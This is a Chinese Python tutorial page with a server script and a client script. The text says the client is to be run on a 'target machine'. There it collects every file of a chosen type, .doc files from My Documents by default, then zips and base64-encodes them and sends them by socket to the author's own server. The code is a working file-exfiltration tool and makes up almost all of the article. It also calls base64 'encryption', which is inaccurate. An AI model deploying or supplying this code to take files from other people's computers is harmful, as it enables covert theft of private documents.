python实现获取客户机上指定文件并传输到服务器的方法


Posted in Python onMarch 16, 2015

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 6553500 #6M

    key = 'ouyang'

    timeout = 5

    dicName = "ouyang\\"

    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

        ss.bind((HOST,PORT))

        ss.listen(5)

        print "wating for conntecting..."

        while True:

            try:

                cs,addr = ss.accept()

                socket.setdefaulttimeout(timeout)

                cs.send("200 Connected!")

                #获取加密数据

                encode_data = cs.recv(BUF_SIZE)

                #把数据写到out.zip文件

                tmpfile = open('out.tmp','wb')

                try:

                    tmpfile.write(encode_data)

                    tmpfile.close()

                except IOError,e:

                    print 'Strange error creating IOError:%s' % e  

                    tmpfile.close()

                finally:

                    tmpfile.close()

                #base64 decode 2进制 解密 decode(infile,outfile)

                tmpfile = open('out.tmp','rb')

                outfile = open('out.zip','wb')

                base64.decode(tmpfile,outfile)

                tmpfile.close()

                outfile.close()

                #打开zip文件

                zfile = zipfile.ZipFile('out.zip','r')

                #创建一个文件夹来存放获取的zip文件

                if not os.path.exists(dicName):

                    os.mkdir(dicName)

                for f in zfile.namelist():

                    data = zfile.read(f)

                    file = open(dicName+os.path.basename(f),'w+b')

                    file.write(data)

                    file.close()

                print "finished!!!"

                zfile.close()

                #后续处理 删除临时文件

                os.remove('out.tmp')

                cs.close()

            except socket.error, e:  

                print 'Strange error creating socket:%s' % e  

                cs.close()

        ss.close()

    except socket.error, e:

        print 'Strange error creating socket:%s' % e  

        ss.close()

if __name__=='__main__':

    main()

客户端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

    for root, dirs, files in os.walk(dir, topdown):

        for name in files:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))      

        for name in dirs:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))

def main():       

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 65535

    key = 'ouyang'

    dicName = "C:\Documents and Settings\Administrator\我的文档"

    extName = '.doc'

    #遍历搜索我的文档的doc类型

    try:

        filelist = []

        walk_dir(dicName,filelist,extName)

    except IOError,e:

        print "文件处理错误: " % e

        sys.exit(-1)

    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    try:

        cs.connect((HOST,PORT))

        print cs.recv(BUF_SIZE)

        #压缩成zip文件

        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)

        for f in filelist:

            zfile.write(f)

        zfile.close()

        #base 2进制 加密 encode(infile,outfile)

        infile = open('in.zip','rb')

        tmpfile = open('in.tmp','wb')

        base64.encode(infile,tmpfile)

        infile.close()

        tmpfile.close()

        #send

        tmpfile = open('in.tmp','rb')

        cs.send(tmpfile.read())

        tmpfile.close()

        #后续处理 删除中间文件

        os.remove('in.tmp')

        cs.close()

    except socket.error ,e:

        print 'socket 出错啦:' % e

        cs.close()

if __name__=='__main__':

    main()

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
wxpython 学习笔记 第一天
Mar 16 Python
Python利用ansible分发处理任务
Aug 04 Python
Python数据结构与算法之图的广度优先与深度优先搜索算法示例
Dec 14 Python
python 使用re.search()筛选后 选取部分结果的方法
Nov 28 Python
PyQT实现菜单中的复制,全选和清空的功能的方法
Jun 17 Python
用Python配平化学方程式的方法
Jul 20 Python
详解Python3 pandas.merge用法
Sep 05 Python
Python根据字符串调用函数过程解析
Nov 05 Python
Python之qq自动发消息的示例代码
Feb 18 Python
浅析python中特殊文件和特殊函数
Feb 24 Python
Python+OpenCV实现图片中的圆形检测
Apr 07 Python
Python中Schedule模块使用详解 周期任务神器
Apr 19 Python
python提取内容关键词的方法
Mar 16 #Python
python生成随机mac地址的方法
Mar 16 #Python
python通过线程实现定时器timer的方法
Mar 16 #Python
python每隔N秒运行指定函数的方法
Mar 16 #Python
python实现登陆知乎获得个人收藏并保存为word文件
Mar 16 #Python
Python标准库urllib2的一些使用细节总结
Mar 16 #Python
python实现查询苹果手机维修进度
Mar 16 #Python
You might like
php中DOMElement操作xml文档实例演示
2013/03/26 PHP
PHP图片上传代码
2013/11/04 PHP
php基于curl扩展制作跨平台的restfule 接口
2015/05/11 PHP
prototype 的说明 js类
2006/09/07 Javascript
JavaScript 原型与继承说明
2010/06/09 Javascript
使用Json比用string返回数据更友好,也更面向对象一些
2011/09/13 Javascript
JavaScript Scoping and Hoisting 翻译
2012/07/03 Javascript
JS对象转换为Jquery对象实现代码
2013/12/29 Javascript
jQuery实现鼠标悬停显示提示信息窗口的方法
2015/04/30 Javascript
jquery mobile 实现自定义confirm确认框效果的简单实例
2016/06/17 Javascript
AngularJS入门教程引导程序
2016/08/18 Javascript
AngularJS中filter的使用实例详解
2017/08/25 Javascript
Vue 页面切换效果之 BubbleTransition(推荐)
2018/04/08 Javascript
vue element项目引入icon图标的方法
2018/06/06 Javascript
node.js使用express框架进行文件上传详解
2019/03/03 Javascript
基于Proxy的小程序状态管理实现
2019/06/14 Javascript
微信小程序实现上传照片代码实例解析
2020/08/04 Javascript
Nest.js 授权验证的方法示例
2021/02/22 Javascript
python 实现删除文件或文件夹实例详解
2016/12/04 Python
Python使用pickle模块实现序列化功能示例
2018/07/13 Python
详解python编译器和解释器的区别
2019/06/24 Python
利用rest framework搭建Django API过程解析
2019/08/31 Python
浅谈对pytroch中torch.autograd.backward的思考
2019/12/27 Python
python实现在线翻译
2020/06/18 Python
Linux如何修改文件和文件夹的权限
2013/09/05 面试题
工程力学专业毕业生求职信
2013/10/06 职场文书
两年的个人工作自我评价
2014/01/10 职场文书
幼儿园保育员辞职信
2014/01/12 职场文书
希特勒经典演讲稿
2014/05/19 职场文书
诚信贷款承诺书
2014/05/30 职场文书
查摆问题整改措施
2014/10/24 职场文书
2016年国庆节宣传标语
2015/11/25 职场文书
新学期新寄语,献给新生们!
2019/11/15 职场文书
CSS 还能这样玩?奇思妙想渐变的艺术
2021/04/27 HTML / CSS
【海涛dota解说】DCG联赛第一周 LGD VS DH
2022/04/01 DOTA
mysql幻读详解实例以及解决办法
2022/06/16 MySQL